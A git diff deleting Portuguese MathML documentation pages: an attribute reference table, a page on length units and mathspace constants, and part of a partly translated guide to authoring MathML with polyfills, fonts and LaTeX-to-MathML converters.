- <p>Um <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">valor de comprimento</a> que indica o espaço minimimo entre uma etiqueta e a célula adjacente numa linha.</p>
- </td>
- </tr>
- <tr id="minsize">
- <td><code>minsize</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>O tamanho minimo do operador.</td>
- </tr>
- <tr id="movablelimits">
- <td><code>movablelimits</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Indicia se <em>under-</em> e <em>overscripts</em> auxiliares movem para posições de <em>sub-</em> e <em>superscript</em>.</td>
- </tr>
- <tr id="notation">
- <td><code>notation</code></td>
- <td>{{ MathMLElement("menclose") }}</td>
- <td>A lista de notações, separada por espaços, para aplicar aos elementos filhos.</td>
- </tr>
- <tr id="numalign">
- <td><code>numalign</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mfrac") }}</td>
- <td>O alinhamento do numerador sob a fração.</td>
- </tr>
- <tr id="open">
- <td><code>open</code></td>
- <td>{{ MathMLElement("mfenced") }}</td>
- <td>Uma <em>string</em> para o delimitador inicial.</td>
- </tr>
- <tr id="overflow">
- <td>{{ unimplemented_inline() }} <code>overflow</code></td>
- <td>{{ MathMLElement("math") }}</td>
- <td>Especifica como a expressão se comporta no caso de ser demasiada comprida para a largura máxima permitida.</td>
- </tr>
- <tr id="position">
- <td>{{ unimplemented_inline() }} <code>position</code></td>
- <td>{{ MathMLElement("msgroup") }}, {{ MathMLElement("msrow") }}, {{ MathMLElement("mscarries") }}, {{ MathMLElement("msline") }}</td>
- <td></td>
- </tr>
- <tr id="rowalign">
- <td><code>rowalign</code></td>
- <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
- <td>Indica o alinhamento vertical das células da tabela.</td>
- </tr>
- <tr id="rowlines">
- <td><code>rowlines</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Especifica o estilo das bordas das linhas da tabela.</td>
- </tr>
- <tr id="rowspacing">
- <td><code>rowspacing</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Specifies the space between table rows.</td>
- </tr>
- <tr id="rowspan">
- <td><code>rowspan</code></td>
- <td>{{ MathMLElement("mtd") }}</td>
- <td>Um integral não negativo que indica qual o número de linhas (<em>rows</em>) sob qual a célula se estende.</td>
- </tr>
- <tr id="rspace">
- <td><code>rspace</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>O espaço após o operador.</td>
- </tr>
- <tr id="rquote">
- <td><code>rquote</code></td>
- <td>{{ MathMLElement("ms") }}</td>
- <td>O carácter de citação de fecho (depende da direção indicada por <code>dir</code>) para delimitar o conteúdo. O valor pré-definido é <code>&amp;quot;</code>.</td>
- </tr>
- <tr id="scriptlevel">
- <td><code>scriptlevel</code></td>
- <td>{{ MathMLElement("mstyle") }}</td>
- <td>Controla sobretudo o tamanho da fonte. Quanto mais alto for valor do <code>scriptlevel</code>, menor será o tamanho da fonte.</td>
- </tr>
- <tr id="scriptminsize">
- <td><code>scriptminsize</code></td>
- <td>{{ MathMLElement("mstyle") }}</td>
- <td>Indica o mínimo valor permitido do tamanho da fonte devido a mudanças causadas por <code>scriptlevel</code>.</td>
- </tr>
- <tr id="scriptsizemultiplier">
- <td><code>scriptsizemultiplier</code></td>
- <td>{{ MathMLElement("mstyle") }}</td>
- <td>Indica o multiplicadorque deve ser usado para ajustar o tamanho da fonte devido a mudanças causadas por <code>scriptlevel</code>.</td>
- </tr>
- <tr id="selection">
- <td><code>selection</code></td>
- <td>{{ MathMLElement("maction") }}</td>
- <td>O elemento, contido dentro do elemento que detem o atributo, a qual a ação se aplica.</td>
- </tr>
- <tr id="separator">
- <td><code>separator</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Não existe um efeito visual para este atributo, mas indica se o operador é um separador (como virgulas).</td>
- </tr>
- <tr id="separators">
- <td><code>separators</code></td>
- <td>{{ MathMLElement("mfenced") }}</td>
- <td>Uma sequencia de 0 ou mais carateres para serem usados como diferentes separadores.</td>
- </tr>
- <tr id="shift">
- <td>{{ unimplemented_inline() }} <code>shift</code></td>
- <td>{{ MathMLElement("msgroup") }}</td>
- <td></td>
- </tr>
- <tr id="side">
- <td>{{ unimplemented_inline() }} <code>side</code></td>
- <td>{{ MathMLElement("mtable") }}</td>
- <td>Indica a posição onde a etiqueta de {{ MathMLElement("mlabeledtr") }} deve ser posta.</td>
- </tr>
- <tr id="src">
- <td>{{ unimplemented_inline() }} <code>src</code></td>
- <td>{{ MathMLElement("mglyph") }}</td>
- <td>O local de origem dos dados da imagem.</td>
- </tr>
- <tr id="stackalign">
- <td>{{ unimplemented_inline() }} <code>stackalign</code></td>
- <td>{{ MathMLElement("mstack") }}</td>
- <td></td>
- </tr>
- <tr id="stretchy">
- <td><code>stretchy</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Indica se o operador estica até ao tamanho do elemento adjacente.</td>
- </tr>
- <tr id="subscriptshift">
- <td><code>subscriptshift</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msub") }}, {{ MathMLElement("msubsup") }}</td>
- <td>O espaço minimo para adicionar entre o subscript e a linha base da expressão.</td>
- </tr>
- <tr id="supscriptshift">
- <td><code>supscriptshift</code> {{deprecated_inline}}</td>
- <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msup") }}, {{ MathMLElement("msubsup") }}</td>
- <td>O espaço minimo para adicionar entre o superscript e a linha base da expressão.</td>
- </tr>
- <tr id="symmetric">
- <td><code>symmetric</code></td>
- <td>{{ MathMLElement("mo") }}</td>
- <td>Se <code>stretchy</code> é <code>true</code>, este atributo indica se o operador deve ser verticalmente simetrico à volta do eixo imaginario (linha de fracção centrada).</td>
- </tr>
- <tr id="voffset">
- <td><code>voffset</code></td>
- <td>{{ MathMLElement("mpadded") }}</td>
- <td>Indica a posição vertical do conteúdo.</td>
- </tr>
- <tr id="width">
- <td><code>width</code></td>
- <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td>
- <td>Indica a largura desejada. Ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" title="/en-US/docs/MathML/Attributes/Values#Lengths">comprimentos</a> para valores possíveis.</td>
- </tr>
- <tr id="xlink-href">
- <td><code>xlink:href</code> {{deprecated_inline}}</td>
- <td><em>Todos</em></td>
- <td>Pode ser usado para criar uma hiperligação a uma URI. Porem, autores são encorajados antes a usar o atributo <code>href</code>.</td>
- </tr>
- <tr id="xmlns">
- <td><code>xmlns</code></td>
- <td>{{ MathMLElement("math") }}</td>
- <td>Indica o URI para o <em>namespace</em> de MathML (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td>
- </tr>
- </tbody>
-</table>
diff --git a/files/pt-pt/web/mathml/attribute/values/index.html b/files/pt-pt/web/mathml/attribute/values/index.html
deleted file mode 100644
index 6e15310f0b..0000000000
--- a/files/pt-pt/web/mathml/attribute/values/index.html
+++ /dev/null
@@ -1,154 +0,0 @@
----
-title: Valores
-slug: Web/MathML/Attribute/Values
-tags:
- - Guía
- - MathML
- - Referência de MathML
-translation_of: Web/MathML/Attribute/Values
-original_slug: Web/MathML/Attribute/Valores
----
-<div>{{MathMLRef}}</div>
-
-<h2 id="Comprimentos">Comprimentos</h2>
-
-<p>Vários elementos de apresentação MathML têm atributos que aceitam valores de comprimento usados para dimensões ou espaçamento. MathML aceita diferentes unidades e constantes para indicar comprimentos.</p>
-
-<h3 id="Unidades">Unidades</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th>Unidade</th>
- <th>Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>em</code></td>
- <td>Unidade {{ Cssxref("font-size", "relativa à fonte") }}</td>
- </tr>
- <tr>
- <td><code>ex</code></td>
- <td>Unidade {{ Cssxref("font-size", "relativa à fonte") }}. (A altura "x" do elemento, <code>1ex ≈ 0.5em</code> em muitas fontes)</td>
- </tr>
- <tr>
- <td><code>px</code></td>
- <td>Pixeis</td>
- </tr>
- <tr>
- <td><code>in</code></td>
- <td>Polegadas (1 polegada = 2,54 centímetros)</td>
- </tr>
- <tr>
- <td><code>cm</code></td>
- <td>Centímetros</td>
- </tr>
- <tr>
- <td><code>mm</code></td>
- <td>Milímetros</td>
- </tr>
- <tr>
- <td><code>pt</code></td>
- <td>Pontos (1 ponto = 1/72 polegada)</td>
- </tr>
- <tr>
- <td><code>pc</code></td>
- <td>Picas (1 pica = 12 pontos)</td>
- </tr>
- <tr>
- <td><code>%</code></td>
- <td>Percentagem do valor padrão.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Constantes">Constantes</h3>
-
-<p>{{deprecated_header}}</p>
-
-<p>Um substituto para as constantes depreciadas abaixo é:</p>
-
-<pre class="notranslate"><code>veryverythinmathspace =&gt; 0.05555555555555555em
-verythinmathspace =&gt; 0.1111111111111111em
-thinmathspace =&gt; 0.16666666666666666em
-mediummathspace =&gt; 0.2222222222222222em
-thickmathspace =&gt; 0.2777777777777778em
-verythickmathspace =&gt; 0.3333333333333333em
-veryverythickmathspace =&gt; 0.3888888888888889em</code></pre>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th>Constante</th>
- <th>Valor</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>veryverythinmathspace</code></td>
- <td>1/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>verythinmathspace</code></td>
- <td>2/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>thinmathspace</code></td>
- <td>3/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>mediummathspace</code></td>
- <td>4/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>thickmathspace</code></td>
- <td>5/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>verythickmathspace</code></td>
- <td>6/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>veryverythickmathspace</code></td>
- <td>7/18<code>em</code></td>
- </tr>
- </tbody>
- <thead>
- <tr>
- <th colspan="2"><em>Constantes</em> negativas são introduzidas em Gecko 7.0 {{ geckoRelease("7.0") }} ({{ bug(650530) }})</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>negativeveryverythinmathspace</code></td>
- <td>-1/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativeverythinmathspace</code></td>
- <td>-2/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativethinmathspace</code></td>
- <td>-3/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativemediummathspace</code></td>
- <td>-4/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativethickmathspace</code></td>
- <td>-5/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativeverythickmathspace</code></td>
- <td>-6/18<code>em</code></td>
- </tr>
- <tr>
- <td><code>negativeveryverythickmathspace</code></td>
- <td>-7/18<code>em</code></td>
- </tr>
- </tbody>
-</table>
-
-<p>Nota: <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#id.3.3.4.2.1" rel="external" title="http://www.w3.org/TR/MathML3/chapter3.html#id.3.3.4.2.1">Associação através de <em>namespace</em> está depreciado</a> em MathML3 e foi removido em Gecko 15.0 {{ geckoRelease("15.0") }} (<a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=673759" rel="external">bug 673759</a>).</p>
diff --git a/files/pt-pt/web/mathml/authoring/index.html b/files/pt-pt/web/mathml/authoring/index.html
deleted file mode 100644
index 065bee238b..0000000000
--- a/files/pt-pt/web/mathml/authoring/index.html
+++ /dev/null
@@ -1,350 +0,0 @@
----
-title: Escrever MathML
-slug: Web/MathML/Authoring
-tags:
- - Beginner
- - MathML
- - Projeto MathML
-translation_of: Web/MathML/Authoring
----
-<p>Esta página explica como se escreve matemática através da linguagem MathML. Como o HTML, o MathML é descrito com tags e atributos. O HTML torna-se verboso quando o seu documento contém estruturas avançadas como listas ou tabelas mas felizmente existem muitos geradores de simples notações, editores WYSIWYG e outros Sistemas de Gestão de Conteúdos para ajudar a escrever páginas Web.</p>
-
-<p>Mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. As a consequence, good MathML authoring tools are more important and we describe some tools below. In particular, the Mozilla MathML team has been developing <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a>, a Javascript Unicode LaTeX-to-MathML converter that is intended to be used in many scenarios described here. Of course, the list is by no means exhaustive and you are invited to check out the <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a> where you can find various other tools.</p>
-
-<p>As notações matemáticas são ainda mais complexas com estruturas como fracções, raízes quadradas ou matrizes que provavelmente exigirão as suas próprias etiquetas. Como consequência, as boas ferramentas de autoria de MathML são mais importantes, e descrevemos algumas ferramentas abaixo. Em particular, a equipa do Mozilla MathML tem vindo a desenvolver o <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a>, um conversor Javascript Unicode LaTeX para MathML que se destina a ser utilizado em muitos cenários aqui descritos. É claro que a lista não é de modo algum exaustiva e está convidado a consultar <a href="http://www.w3.org/Math/Software/">a lista de software MathML do W3C</a>, onde pode encontrar várias outras ferramentas.</p>
-
-<p>MathML está bem integrado em HTML5 e, em particular, pode usar características habituais da Web como CSS, DOM, Javascript ou SVG. Isto está fora do âmbito deste documento, mas qualquer pessoa com conhecimentos básicos de línguas Web poderá facilmente misturar estas características com MathML. Consulte <a href="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents">as nossas demos</a> e <a href="/pt-PT/docs/Web/MathML">referências de MathML</a> para mais detalhes.</p>
-
-<h2 id="Usar_MathML">Usar MathML</h2>
-
-<h4 id="Example_in_HTML5_texthtml" name="Example_in_HTML5_(text/html)">MathML em páginas de HTML</h4>
-
-<p>Pode usar <em>Presentation MathML</em> dentro de documentos de HTML5:</p>
-
-<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;MathML in HTML5&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-  &lt;h1&gt;MathML in HTML5&lt;/h1&gt;
-
-  &lt;p&gt;
-    Square root of two:
-    &lt;math&gt;
-      &lt;msqrt&gt;
-        &lt;mn&gt;2&lt;/mn&gt;
-      &lt;/msqrt&gt;
-    &lt;/math&gt;
-  &lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt; </pre>
-
-<p><em>Content MathML</em> não é suportado por navegadores. É recomendado converter o conteudo de <em>Content MathML</em> em <em>Presentation MathML</em> antes do publicar, como o <em>stylesheet</em> <a class="external" href="http://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop">ctop.xsl</a>. As ferramentas mencionadas nesta página gerem <em>Presentation MathML</em>.</p>
-
-<h4 id="Contingência_para_navegadores_que_não_apoiam_MathML">Contingência para navegadores que não apoiam MathML</h4>
-
-<p>Infelizmente, alguns navegadores não são capazes de fazer equações MathML ou têm apenas um suporte limitado. Consequentemente, será necessário utilizar um polyfil para MathML para fornecer alguma renderização de recurso. Se precisar apenas de construções matemáticas básicas como as utilizadas nesta wiki MDN, então uma pequena folha de estilo <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> poderá ser suficiente. Para a utilizar, basta inserir uma linha no cabeçalho do seu documento:</p>
-
-<pre class="brush: html notranslate">&lt;script src="https://fred-wang.github.io/mathml.css/mspace.js"&gt;&lt;/script&gt;</pre>
-
-<p>Se precisar de construções mais complexas, poderá, em vez disso, considerar a utilização da biblioteca MathJax mais pesada como um polifill MathML:</p>
-
-<p>Se precisar de construções mais complexas, poderá, em vez disso, considerar a utilização da biblioteca <a href="http://www.mathjax.org">MathJax</a> mais pesada como um polifill MathML:</p>
-
-<pre class="brush: html notranslate">&lt;script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"&gt;&lt;/script&gt;</pre>
-
-<p>É de destacar que estes dois <em>scripts</em> realizam a detecção dos elementos <a href="/pt-PT/docs/Web/MathML/Element/mspace">mspace</a> ou <a href="/pt-PT/docs/Web/MathML/Element/mpadded">mpadded</a> (ver a tabela de compatibilidade nestas páginas). Existe também um script semelhante para exibir um aviso no topo da página para navegadores sem bom suporte MathML e deixar os utilizadores escolherem entre uma das alternativas acima:</p>
-
-<pre class="brush: html notranslate">&lt;script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"&gt;&lt;/script&gt;</pre>
-
-<p>Se não quiser utilizar esta hiperligação para o GitHub mas sim integrar estes polyfills ou outros no seu próprio projecto, poderá precisar dos scripts de detecção para verificar o nível de suporte de MathML. Por exemplo, a função seguinte verifica o suporte MathML testando o elemento mspace (pode substituir o <code>mspace</code> por <code>mpadded</code>):</p>
-
-<pre class="brush: js notranslate"> function hasMathMLSupport() {
-  var div = document.createElement("div"), box;
-  div.innerHTML = "&lt;math&gt;&lt;mspace height='23px' width='77px'/&gt;&lt;/math&gt;";
-  document.body.appendChild(div);
-  box = div.firstChild.firstChild.getBoundingClientRect();
-  document.body.removeChild(div);
-  return Math.abs(box.height - 23) &lt;= 1  &amp;&amp; Math.abs(box.width - 77) &lt;= 1;
-}</pre>
-
-<p>Em alternativa, o seguinte deteção de strings do UA permitirá detectar os motores de renderização com suporte nativo de MathML (Gecko e WebKit). Note-se que a deteção de strings do UA não é o método mais fiável e pode falhar de versão para versão:</p>
-
-<pre class="brush: js notranslate">var ua = navigator.userAgent;
-var isGecko = ua.indexOf("Gecko") &gt; -1 &amp;&amp; ua.indexOf("KHTML") === -1 &amp;&amp; ua.indexOf('Trident') === -1;
-var isWebKit = ua.indexOf('AppleWebKit') &gt; -1 &amp;&amp; ua.indexOf('Chrome') === -1;
-</pre>
-
-<h4 id="Fontes_matemáticas">Fontes matemáticas</h4>
-
-<p>A fim de obter uma boa formatação ou de permitir um estilo diferente, é importante ter fontes matemáticas disponíveis. É sempre bom fornecer uma ligação às <a href="/pt-PT/docs/Mozilla/MathML_Project/Fonts">Instruções de Fontes da MDN</a>, para que os seus visitantes possam verificar se têm fontes apropriadas instaladas no seu sistema. Também é bom fornecer um contigente com fontes da Web.</p>
-
-<p>Antes de Gecko 31.0 {{GeckoRelease("31.0")}}, era um pouco aborrecido configurar fontes matemáticas (ver as instruções da fonte para Mozilla 2.0). Para Gecko 31.0 {{GeckoRelease("31.0")}}, isto é muito mais simples e é compatível com qualquer motor de renderização Web com suporte MathML. Por exemplo, aqui está uma folha de estilo mínima para usar o latim moderno para o texto e o latim moderno matemático para a matemática:</p>
-
-<pre class="brush: css notranslate">@namespace url('http://www.w3.org/1999/xhtml');
-@namespace m url('http://www.w3.org/1998/Math/MathML');
-
-body, m|mtext {
-    font-family: Latin Modern;
-}
-m|math {
-    font-family: Latin Modern Math;
-}</pre>
-
-<p>Pode usar a regra <a href="/pt-PT/docs/Web/CSS/@font-face">@font-face</a> como normal para ofrecer uma alternativa WOFF para <em>Latin Modern</em> e <em>Latin Modern Math</em>. Veja este <a href="https://github.com/fred-wang/MathFonts">repositório no GitHub para encontrar fontes WOFF e exemplos de stylesheets de CSS</a> para usar no seu site e verifique <a href="http://fred-wang.github.io/MathFonts/">a página de teste</a>.</p>
-
-<h4 id="MathML_em_documentos_de_XML_XHTML_EPUB_etc">MathML em documentos de XML (XHTML, EPUB, etc)</h4>
-
-<p>Se por alguma razão precisar de usar MathML em documentos de XML, certifique-se que satisfaz os requerimentos habituais: um documento bem formatado, o tipo de MIME correto, o <em>namespace</em> de MathML <code>"http://www.w3.org/1998/Math/MathML"</code> nas raizes <code>&lt;math&gt;</code>. Por exemplo, a versão XHTML do exemplo anterior fica assim:</p>
-
-<pre class="brush: xml notranslate">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
-  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
-&lt;head&gt;
- &lt;title&gt;XHTML+MathML Example&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-&lt;h1&gt;XHTML+MathML Example&lt;/h1&gt;
-
-  &lt;p&gt;
-    Square root of two:
-    &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
-      &lt;msqrt&gt;
-        &lt;mn&gt;2&lt;/mn&gt;
-      &lt;/msqrt&gt;
-    &lt;/math&gt;
-  &lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt; </pre>
-
-<h4 id="MathML_em_email_e_clientes_de_comunicação_instantânea">MathML em email e clientes de comunicação instantânea</h4>
-
-<p>Os clientes de correio modernos podem enviar e receber correio electrónico no formato HTML5 e assim podem utilizar expressões MathML. Certifique-se de que as opções "enviar como HTML" e "ver como HTML" estão activadas. No Thunderbird, pode usar o comando "Inserir HTML" para colar o seu código HTML e MathML. <a href="http://disruptive-innovations.com/zoo/MathBird/">MathBird</a> é um add-on conveniente para o Thunderbird inserir tais expressões MathML usando a sintaxe de AsciiMath. Além disso, uma caixa de entrada LaTeX-to-MathML foi também integrada no <a href="http://www.seamonkey-project.org/">SeaMonkey</a> desde a versão 2.28 e no <a href="https://www.mozilla.org/thunderbird/">Thunderbird</a> desde a versão 31. A forma como o MathML é tratado e a qualidade da renderização do MathML <a href="http://web.archive.org/web/20160304021257/http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121">depende do cliente de correio</a> e mesmo que o seu browser suporte MathML, o seu Webmail pode impedi-lo de enviar ou receber e-mails com MathML dentro.</p>
-
-<p>Os clientes de mensagens instantâneas baseadas no Gecko podem integrar um conversor de texto para MathML baseado em Javascript (mencionado abaixo) e depois renderizar as expressões MathML geradas a partir das mensagens instantâneas (em texto simples). Por exemplo, existe um add-on para o Instantbird que trata das expressões LaTeX.</p>
-
-<h2 id="Converção_a_partir_de_Sintaxe_Simples">Converção a partir de Sintaxe Simples</h2>
-
-<p>Existem muitas notações simples (por exemplo, wiki ou sintaxes markdown) para gerar páginas HTML. O mesmo é válido para MathML: por exemplo, as sintaxes ASCII utilizadas em calculadoras ou a linguagem mais poderosa LaTeX, muito popular entre a comunidade científica. Nesta secção, apresentamos algumas destas ferramentas para converter de uma simples sintaxe para MathML.</p>
-
-<ul>
- <li>pros:
- <ul>
- <li>Escrever expressões matemáticas pode requerer só um editor de texto simples.</li>
- <li>Muitas ferramentas estão disponiveis, algumas são compativeis com o workflow clássico de LaTeX-to-pdf.</li>
- <li>Oferece accesso a funções avancadas de macros estilo LaTeX.</li>
- </ul>
- </li>
- <li>cons:
- <ul>
- <li>Pode ser mais dificil de usar: o utilizador tem de aprender o sintaxe, pois erros no código podem causar erros no processamento, na apresentação final, etc.</li>
- <li>A interface não é muito accessivel: é só um editor de texto sem a apresentação imediata do produto final.</li>
- <li>O sintaxe não tem um padrão decidido, fazendo com que a compatibilidade entre conversores seja dificil. Até a linguagem populat LaTeX continua a crescer e a ser atualizada.</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="Converção_client-side">Converção <em>client-side</em></h3>
-
-<p>In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task.</p>
-
-<ul>
- <li>pros:
- <ul>
- <li>This is very easy setup: only a few Javascript and CSS files to upload and/or a link to add to your document header.</li>
- <li>This is a pure Web-based solution: everything is done by the browsers and no other programs must be installed or compiled.</li>
- </ul>
- </li>
- <li>cons:
- <ul>
- <li>This won't work if the visitor has Javascript disabled.</li>
- <li>The MathML code is not exposed to Web crawlers (e.g. those of math search engines or feed aggregators). In particular, your content won't show up properly on Planet.</li>
- <li>The conversion must be done at each page load, may be slow and may conflict with the HTML parsing (e.g. "&lt;" for tags or "$" for money amounts)</li>
- <li>You may need to synchronize the Javascript converter with other Javascript programs on your page.</li>
- </ul>
- </li>
-</ul>
-
-<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has an <a href="https://github.com/fred-wang/x-tex">&lt;x-tex&gt;</a> custom element, that can be used to write things like</p>
-
-<pre class="notranslate"><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
-
-<p>and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript parsing of expressions at load time</a> as all the other tools in this section do.</p>
-
-<p>One simple client-side conversion tools is <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Just download the <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> script and copy it to your Web site. Then on your Web pages, add a <code>&lt;script&gt;</code> tag to load ASCIIMathML and the mathematical expressions delimited by <code>`</code> (grave accent) will be automatically parsed and converted to MathML:</p>
-
-<pre class="brush: html notranslate">&lt;html&gt;
-&lt;head&gt;
-...
-&lt;script type="text/javascript" src="ASCIIMathML.js"&gt;&lt;/script&gt;
-...
-&lt;/head&gt;
-&lt;body&gt;
-...
-&lt;p&gt;blah blah `x^2 + y^2 = r^2` blah ...
-...
-</pre>
-
-<p><a href="http://math.etsu.edu/LaTeXMathML/" title="http://math.etsu.edu/LaTeXMathML/">LaTeXMathML</a> is a similar script that allows to parse more LaTeX commands. The installation is similar: copy <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js">LaTeXMathML.js</a> and <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css">LaTeXMathML.standardarticle.css</a>, add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML:</p>
-
-<pre class="brush: html notranslate"><span>&lt;<span class="start-tag">head</span>&gt;</span>
-<span>...
-</span><span>&lt;<span class="start-tag">script</span> <span class="attribute-name">type</span>="<a class="attribute-value">text/javascript</a>" <span class="attribute-name">src</span>="<a class="attribute-value">LaTeXMathML.js</a>"&gt;</span><span>&lt;/<span class="end-tag">script</span>&gt;</span><span>
-</span><span>&lt;<span class="start-tag">link</span> <span class="attribute-name">rel</span>="<a class="attribute-value">stylesheet</a>" <span class="attribute-name">type</span>="<a class="attribute-value">text/css</a>" <span class="attribute-name">href</span>="<a class="attribute-value">LaTeXMathML.standardarticle.css</a>" <span>/</span>&gt;</span><span>
-...
-</span><span>&lt;/<span class="end-tag">head</span>&gt;</span><span>
-
-</span><span>&lt;<span class="start-tag">body</span>&gt;</span><span>
-...
-
-</span>&lt;div class="LaTeX"&gt;
-\documentclass[12pt]{article}
-
-\begin{document}
-
-\title{LaTeXML Example}
-\maketitle
-
-\begin{abstract}
-This is a sample LaTeXML document.
-\end{abstract}
-
-\section{First Section}
-
-  $$ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $$
-
-\end{document}
-&lt;/div&gt;
-...</pre>
-
-<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like  <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code>  to write <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. The installation is similar: download and copy the relevant <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript and CSS files</a> on your Web site and reference them in your page header (see the <code>COPY-ME.html</code> file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support.</p>
-
-<h3 id="Programas_de_linha_de_comando">Programas de linha de comando</h3>
-
-<p>An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server.</p>
-
-<ul>
- <li>pros:
- <ul>
- <li>You get static Web pages: the LaTeX source don't need to be parsed at each page load, the MathML code is exposed to Web crawlers and you can put them easily on any Web server.</li>
- <li>Binary programs may run faster than Javascript programs and can be more sophisticated e.g. have a much complete LaTeX support or generate other formats like EPUB.</li>
- <li>You can keep compatibility with other tools to generate pdf e.g. you can use the same .tex source for both latex and latexml.</li>
- </ul>
- </li>
- <li>cons:
- <ul>
- <li>This requires to install programs on your computer, which may be a bit more difficult or they may not be available on all platforms.</li>
- <li>You must run the programs on your computer and have some kind of workflow to get the Web pages at the end ; that may be a bit tedious.</li>
- <li>Binary programs are not appropriate to integrate them in a Mozilla extension or XUL application.</li>
- </ul>
- </li>
-</ul>
-
-<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> can be used <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">from the command line</a> and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet.</p>
-
